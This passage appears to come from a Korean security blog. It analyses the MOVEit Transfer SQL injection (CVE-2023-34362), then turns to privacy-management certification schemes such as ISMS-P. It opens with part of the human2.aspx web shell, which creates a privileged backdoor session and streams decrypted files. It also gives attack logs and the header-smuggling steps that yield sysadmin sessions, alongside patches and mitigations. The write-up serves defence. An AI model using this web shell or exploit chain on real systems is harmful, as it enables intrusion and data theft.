                string NewID = Manager.CreateSessionID(Context);
                bool redirected = false;
                bool IsAdded = false;
                Manager.SaveSessionID(Context, NewID, out redirected, out IsAdded);
                string username = "";
                var query = String.Format("SELECT Username FROM users WHERE InstID={0} AND Permission=30 AND Status='active' and Deleted=0", int.Parse(instid));
                var set = new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x);
                var query1 = "";
                if (!set.EOF) {
                    username = (String) set["Username"].Value;
                } else {
                    username = RandomString(16);
                    query1 += String.Format("INSERT INTO users (Username, LoginName, InstID, Permission, RealName, CreateStamp, CreateUsername, HomeFolder, LastLoginStamp, PasswordChangeStamp) values ('{0}','{1}',{2},{3},'{4}', CURRENT_TIMESTAMP,'Automation',(select id from folders where instID=0 and FolderPath='/'), CURRENT_TIMESTAMP, CURRENT_TIMESTAMP);", username, "Health Check Service", int.Parse(instid), 30, "Health Check Service", "Automation", "Services");
                }
                query1 += String.Format("insert into activesessions (SessionID, Username, LastTouch, Timeout, IPAddress) VALUES ('{0}','{1}',CURRENT_TIMESTAMP, 9999, '127.0.0.1')", NewID, username);
                new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x);
            } else {
                DataFilePath dataFilePath = new DataFilePath(int.Parse(instid), int.Parse(folderid), fileid);
                SILGlobals siGlobs = new SILGlobals();
                siGlobs.FileSystemFactory.Create();
                EncryptedStream st = Encryption.OpenFileForDecryption(dataFilePath, siGlobs.FileSystemFactory.Create());
                Response.ContentType = "application/octet-stream";
                Response.AppendHeader("Content-Disposition", String.Format("attachment; filename={0}", fileid));
                using(var gzipStream = new GZipStream(Response.OutputStream, CompressionMode.Compress)) {
                    st.CopyTo(gzipStream);
                }
            }
        }
    } catch (Exception) {
        Response.StatusCode = 404;
        return;
    } finally {
        MySQLConnect.Disconnect();
    }
    return;
}
</script>

 

- 시나리오를 기반으로 침해를 테스트한 시스템의 로그를 검토한 결과 해당 공격과 관련된 로그는 다음과 유사할 것으로 판단 됨

2023-05-30 17:05:50 192.168.###.### GET / - 443 - 5.252.190.181 user-agent - 200
2023-05-30 17:06:00 192.168.###.### POST /guestaccess.aspx - 443 - 5.252.191.14 user-agent - 200
2023-05-30 17:06:00 192.168.###.### POST /api/v1/token - 443 - 5.252.191.14 user-agent - 200
2023-05-30 17:06:02 192.168.###.### GET /api/v1/folders - 443 - 5.252.191.14 user-agent - 200
2023-05-30 17:06:02 192.168.###.### POST /api/v1/folders/605824912/files uploadType=resumable 443 - 5.252.191.14 user-agent - 200
2023-05-30 17:06:02 ::1 POST /machine2.aspx - 80 - ::1 CWinInetHTTPClient - 200
2023-05-30 17:06:02 192.168.###.### POST /moveitisapi/moveitisapi.dll action=m2 443 - 5.252.191.14 user-agent - 200
2023-05-30 17:06:04 192.168.###.### POST /guestaccess.aspx - 443 - 5.252.190.233 user-agent - 200
2023-05-30 17:06:08 192.168.###.### PUT /api/v1/folders/605824912/files uploadType=resumable&fileId=963061209 443 - 5.252.190.233 user-agent - 500
2023-05-30 17:06:08 ::1 POST /machine2.aspx - 80 - ::1 CWinInetHTTPClient - 200
2023-05-30 17:06:08 192.168.###.### POST /moveitisapi/moveitisapi.dll action=m2 443 - 5.252.190.233 user-agent - 200
2023-05-30 17:06:11 192.168.###.### POST /guestaccess.aspx - 443 - 5.252.190.116 user-agent - 200
2023-05-30 17:06:21 192.168.###.### GET /human2.aspx - 443 - 5.252.191.88 user-agent - 404

> moveitisapi.dll은 특정 헤더에서 요청될 경우 SQL 인젝션을 수행하기 위해 사용

⒜ 사용자 요청에 action=m2 매개변수를 포함하는 경우 action_m2 함수를 호출

⒝ 해당 함수는 전달받은 X-siLock-Transaction 헤더가 folder_add_by_path와 일치여부 확인 후 일치할 경우 machine2.aspx에 사용자 요청 포워딩

⒞ moveitisapi.dll에서 X-siLock-Transaction 헤더를 추출하여 folder_add_by_path와 값을 비교하는 함수에 버그 존재

⒟ 공격자는 xX-siLock-Transaction=folder_add_by_path 등의 헤더를 제공해 헤더가 잘못 추출되도록 유도

⒠ 잘못 추출된 헤더에 의해 machine2.aspx에 session_setvars 트랜잭션을 전달하여 SetAllSessionVarsFromHeaders() 함수 호출 및 구문 분석 진행

⒡ 이때, X-siLock-SessVar0: MyUsername: sysadmin은 세션의 사용자 이름을 sysadmin으로 설정하며, 변수를 설정할 수 있는 엑세스 권한이 부여

> guestaccess.aspx는 세션을 준비하고 CSRF 토큰 및 기타 필드 값을 추출하여 추가 액션을 수행하는 데 사용

⒜ 취약한 UserGetUsersWithEmailAddress() 함수는 트렌젝션이 secmsgpost인 경우 인증을 수행하지 않고 guestaccess.aspx 호출

※ 관련 함수 Call-chain

guestaccess.aspx -> SILGuestAccess -> SILGuestAccess.PerformAction() -> MsgEngine.MsgPostForGuest() -> UserEngine.UserGetSelfProvisionUserRecipsWithEmailAddress() -> UserEngine.UserGetUsersWithEmailAddress()

 

3. 대응방안

① 최신 업데이트 적용 [8]

> 23.06.12 보안 기업 Huntress에 의해 두 번째 제로데이 취약점(CVE-2023-35036)이 발견되었으며, 벤더사에서 관련 패치 적용

> 따라서, 서둘러 패치를 적용해야할 필요가 있음

※ MOVEit Cloud의 경우 클라우드 서비스이기 때문에 사용자들이 특별히 패치를 다운로드 받아 적용하지는 않아도 됨

※ 보안 업체의 연구에 따르면 해당 패치는 모든 경우에서 인수를 이스케이프 하므로, 취약점에 적절히 대응하는 것으로 확인

취약한 버전 패치 버전
MOVEit Transfer 2023.0.0(15.0) MOVEit Transfer 2023.0.1
MOVEit Transfer 2022.1.x(14.1) MOVEit Transfer 2022.1.5
MOVEit Transfer 2022.0.x(14.0) MOVEit Transfer 2022.0.4
MOVEit Transfer 2021.1.x(13.1) MOVEit Transfer 2021.1.4
MOVEit Transfer 2021.0.x(13.0) MOVEit Transfer 2021.0.6
MOVEit Transfer 2020.1.x(12.1) Progress 웹사이트 참고 [9]
MOVEit Transfer 2020.0.x(12.0) 및 이전 버전 가능한 상위 버전
MOVEit Cloud 14.1.4.94 또는 14.0.3.42

 

> machine2.aspx에서 사용하던 SetAllSessionVarsFromHeaders() 함수를 제거

  public bool SetAllSessionVarsFromHeaders(string ServerVars)
    {
      bool flag = true;
      string[] strArray = Strings.Split(ServerVars, "\r\n");
      int num1 = Strings.Len("X-siLock-SessVar");
      int num2 = Information.LBound((Array) strArray);
      int num3 = Information.UBound((Array) strArray);
      int index = num2;
      while (index <= num3)
      {
        if (Operators.CompareString(Strings.Left(strArray[index], num1), "X-siLock-SessVar", false) == 0)
        {
          int num4 = strArray[index].IndexOf(':', num1);
          if (num4 >= 0)
          {
            int num5 = strArray[index].IndexOf(':', checked (1 + num4));
            if (num5 > 0)
              this.SetValue(strArray[index].Substring(checked (2 + num4), checked (num5 - num4 - 2)), (object) strArray[index].Substring(checked (2 + num5)));
          }
        }
        checked { ++index; }
      }
      return flag;
    }

 

> 여러 위치에서 사용되는 복잡한 SQL 쿼리를 변경

 private void UserGetUsersWithEmailAddress(
-      ref ADORecordset MyRS,
+      ref IRecordset MyRS,
       string EmailAddress,
       string InstID,
       bool bJustEndUsers = false,
       bool bJustFirstEmail = false)
     {
-      object[] objArray;
-      bool[] flagArray;
-      object obj = NewLateBinding.LateGet((object) null, typeof (string), "Format", objArray = new object[4]
+      Func<string, string> func = new Func<string, string>(this.siGlobs.objWrap.Connection.FormatParameterName);
+      SQLBasicBuilder where = this._sqlBuilderUsers.SelectBuilder().AddColumnsToSelect("Username", "Permission", "LoginName", "Email").AddAndColumnEqualsToWhere<string>(nameof (InstID), InstID, true).AddAndColumnEqualsToWhere<int>("Deleted", 0);
+      if (bJustEndUsers)
+        where.AddAndColumnGreaterThanToWhere<int>("Permission", 10, true);
+      string str = this.siGlobs.objUtility.EscapeLikeForSQL(EmailAddress);
+      List<string> values = new List<string>()
       {
-        Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject((object) ("SELECT Username, Permission, LoginName, Email FROM users WHERE InstID={0} AND Deleted=" + Conversions.ToString(0) + " "), Interaction.IIf(bJustEndUsers, (object) ("AND Permission>=" + Conversions.ToString(10) + " "), (object) "")), (object) "AND "), (object) "("), (object) "Email='{2}' OR "), (object) this.siGlobs.objUtility.BuildLikeForSQL("Email", "{1},%", bEscapeAndConvertMatchString: false)), Interaction.IIf(bJustFirstEmail, (object) "", (object) (" OR " + this.siGlobs.objUtility.BuildLikeForSQL("Email", "%,{1}", bEscapeAndConvertMatchString: false) + " OR " + this.siGlobs.objUtility.BuildLikeForSQL("Email", "%,{1},%", bEscapeAndConvertMatchString: false)))), (object) ") "), (object) "ORDER BY LoginName"),
-        (object) InstID,
-        (object) this.siGlobs.objUtility.EscapeLikeForSQL(EmailAddress),
-        (object) EmailAddress
-      }, (string[]) null, (Type[]) null, flagArray = new bool[4]
-      {
-        false,
-        true,
-        false,
-        true
-      });
-      if (flagArray[1])
-        InstID = (string) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray[1]), typeof (string));
-      if (flagArray[3])
-        EmailAddress = (string) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray[3]), typeof (string));
-      this.siGlobs.objWrap.DoReadQuery(Conversions.ToString(obj), ref MyRS, true);
+        string.Format("Email={0}", (object) func("Email")),
+        this.siGlobs.objUtility.BuildLikeForSQL("Email", func("FirstEmail"), bEscapeAndConvertMatchString: false, bQuoteMatchString: false)
+      };
+      where.WithParameter("Email", (object) EmailAddress);
+      where.WithParameter("FirstEmail", (object) string.Format("{0},%", (object) str));
+      if (!bJustFirstEmail)
+      {
+        values.Add(this.siGlobs.objUtility.BuildLikeForSQL("Email", func("MiddleEmail"), bEscapeAndConvertMatchString: false, bQuoteMatchString: false));
+        values.Add(this.siGlobs.objUtility.BuildLikeForSQL("Email", func("LastEmail"), bEscapeAndConvertMatchString: false, bQuoteMatchString: false));
+        where.WithParameter("MiddleEmail", (object) string.Format("%,{0},%", (object) str));
+        where.WithParameter("LastEmail", (object) string.Format("%,{0}", (object) str));
+      }
+      where.AddAndToWhere("(" + string.Join(" OR ", (IEnumerable<string>) values) + ")");
+      where.AddColumnToOrderBy("LoginName", SQLBasicBuilder.OrderDirection.Ascending);
+      this.siGlobs.objWrap.DoReadQuery(where.GetQuery(), where.Parameters, ref MyRS, true);
     }

 

② 벤더사 권장 수정 사항 (업데이트 외) [8]

- MOVEit Transfer의 HTTP 및 HTTPS 트래픽 비활성화

- 감사 로그를 점검해 비정상적인 파일 접근 및 다운로드 기록이 있는지 확인

- 악성 파일 및 사용자 계정 삭제

> 웹쉘과 cmdline 스크립트 파일 등을 삭제하고 승인되지 않은 계정 삭제

> 관련 행위 조사와 관련된 정보 제공 [11]

 

③ 업데이트가 불가할 경우

- 신뢰할 수 있는 IP 주소에서만 MOVEit Transfer 접속하도록 방화벽 설정
- 승인되지 않은 사용자 계정 제거
- 신뢰할 수 있는 인바운드 연결만 허용
- 다단계 인증 활성화

 

④ 공개된 침해지표 보안장비 적용 [12][13][14][15]

 

4. 참고

[1] https://www.ipswitch.com/moveit-transfer
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-34362#close
[3] https://www.huntress.com/blog/moveit-transfer-critical-vulnerability-rapid-response
[4] https://www.shodan.io/search?query=http.favicon.hash%3A989289239
[5] https://viz.greynoise.io/tag/moveit-transfer-scanner?days=30
[6] https://www.akamai.com/blog/security-research/moveit-sqli-zero-day-exploit-clop-ransomware
[7] https://gist.github.com/JohnHammond/44ce8556f798b7f6a7574148b679c643
[8] https://community.progress.com/s/article/MOVEit-Transfer-Critical-Vulnerability-31May2023
[9] https://community.progress.com/s/article/Vulnerability-May-2023-Fix-for-MOVEit-Transfer-2020-1-12-1

[10] https://www.ncsc.go.kr:4018/main/cop/bbs/selectBoardArticle.do;jsessionid=nZaP7DIRsvlu8YwvR52vr0pZJfg76AruG7wWlqMRyamD1eEvxANzXJO2mce9RlAb.nweb2_servlet_ncsc?bbsId=SecurityAdvice_main&nttId=44288&pageIndex=1#LINK

[11] https://docs.ipswitch.com/MOVEit/DMZ%207.5/online%20guide/MOVEitDMZ_AdvancedTopics_SystemInternals_TechnicalReference.htm

[12] https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-158a
[13] https://www.mandiant.com/resources/blog/zero-day-moveit-data-theft
[14] https://www.imperva.com/blog/cve-2023-34362-moveit-transfer/
[15] https://www.boannews.com/media/view.asp?idx=118913&page=4&kind=1

[16] https://www.horizon3.ai/moveit-transfer-cve-2023-34362-deep-dive-and-indicators-of-compromise/

[17] https://github.com/horizon3ai/CVE-2023-34362

[18] https://attackerkb.com/topics/mXmV0YpC3W/cve-2023-34362/rapid7-analysis?referrer=notificationEmail 

1. 개념

구분 개인정보보호 관리체계
개념 - 각종 위협으로부터 주요 정보자산을 보호하기 위해 수립ㆍ관리ㆍ운영하는 종합적인 체계
- 기업이 고객의 개인정보 보호활동을 체계적ㆍ지속적으로 수행하기 위해 필요한 일련의 조치
- 기업이 정보주체의 개인정보를 안전하게 보호할 수 있도록 기술적ㆍ관리적ㆍ물리적ㆍ조직적인 다양한 보호대책을 구현하고 지속적으로 관리ㆍ운영하는 종합적인 체계
등장배경 - 고객 개인정보는 비즈니스 이익 창출의 원동력과 유출사고로 인한 리스크 요소
- 침해시도 행위의 목적은 기존의 실력과시에서 금전적 이익 획득으로 변화하고 있음
- OECD의 개인정보보호 8원칙이 최초 국제규범으로 채택되고 대다수의 국가가 개인정보보호법을 보유
- 전사적 차원의 개인정보보호활동에 대한 기존의 기밀정보 보호중심의 보호체계의 한계
- 개인정보 침해사고로 인한 법률 분쟁시, 개인정보보호 노력에 대한 객관적 증빙 필요
기대효과 외부 - 적절한 법률적 대응
- 대내외 신뢰 증진
내부 - 개인정보 관리수준 제고 및 지속적 유지
- 유출사고로 인한 재산 피해와 사전 보호대책을 위한 지나친 투자비용 남용 방지
- 개인정보보호 관련 기술 및 노하우 축적

 

구분 개인정보보호 관리체계
수립시
고려사항
- (보호대상) 조직이 보호해야 하는 고객의 개인정보와 그 가치의 근거
- (처리과정) 고객의 개인정보의 수집, 이용, 전달, 저장, 파기 과정
- (보호수준) 고객의 개인정보의 적절한 관리와 보호의 수준
- (보호방안) 고객의 개인정보의 보호를 위한 적절한 방법
위험요소 - (기밀성) 허가되지 않은 사람에 대한 개인정보자산의 노출 여부
- (무결성) 허가되지 않은 사람에 의한 개인정보자산의 변경ㆍ훼손 여부
- (준거성) 관련하여 법률적으로 규정된 사항에 대한 준수 여부
관리절차
(PDCA)
- (계획) 명확한 목표 설정 및 전략 수립
- (실행) 수립된 계획을 실행
- (검토) 수립된 계획대비 실행의 결과를 검토
- (반영) 검토결과를 차기 계획에 반영

 

2. 국내외 개인정보보호 관리체계

구분 내용 국가 인증명 주간기관 비고
개인정보 보호
마크제도
개인정보보호 관련 일정 요건을 갖춘 사이트 대상 마크 부여 미국 BBBOnline
마크제도
미국
경영개선협회
개인정보방침 심사
일본 프라이버시
마크제도
일본정보처리
개발협회
(JIPDEC)
개인정보보호 체계심사
개인정보보호
관리체계
인증 제도
개인정보를 안전하게 보호할 수 있도록 기술적ㆍ관리적ㆍ물리적ㆍ조직적인 다양한 보호대책을 구현하고 지속적으로 관리ㆍ운영하는 종합적인 체계 한국 ISMS-P
(정보보호 및
개인정보보호
관리체계 인증)
과기부, 개보위 정보보호 및 개인정보 보호 관리체계 인증
(적용대상) 개인정보의 흐름과 정보보호 영역 인증
국제표준 ISO 27001 ISO/IEC 경영시스템 중 정보보호관리체계 시스템 심사 및 인증
영국 BS 10012 BSI Group 개인정보경영시스템(PIMS) 심사 및 인증
공공기관의
개인정보 보호
평가제도
공공기관의 개인정보 관리체계 및 유출 예방 활동 등을 진단하여 국민의 개인정보가 안전하게 관리될 수 있는 기반 조성을 유도하기 위한 제도 한국 PIA
(개인정보
영향평가)
개보위 개인정보 영향평가
(적용대상) 개인정보 파일을 구축ㆍ운영 또는 변경하려는 공공기관
개인정보보호
수준진단
개보위 공공기관 관리수준 진단
(적용대상) 중앙행정기관 및 산하 공공기관, 지방자치단체, 지방공기업

 

3. 주요 개인정보 관리체계

3.1 개인정보 영향평가 

 

KISA 한국인터넷진흥원

 

www.kisa.or.kr

 

(개인정보보호위원회) 개인정보 영향평가에 관한 고시

 

www.law.go.kr

 

3.2 공공기관 개인정보보호 수준진단

 

개인정보보호위원회

해당 페이지의 만족도와 소중한 의견 남겨주세요.

www.pipc.go.kr

 

3.3 개인정보보호관리체계

 

KISA 정보보호 및 개인정보보호관리체계 인증 ISMS-P 제도소개

> ISMS-P > 제도소개 종합 정보보호 관리체계를 만들어갑니다

isms.kisa.or.kr

 

KISA 정보보호 및 개인정보보호관리체계 인증 ISMS-P 자료실

 

isms.kisa.or.kr

+ Recent posts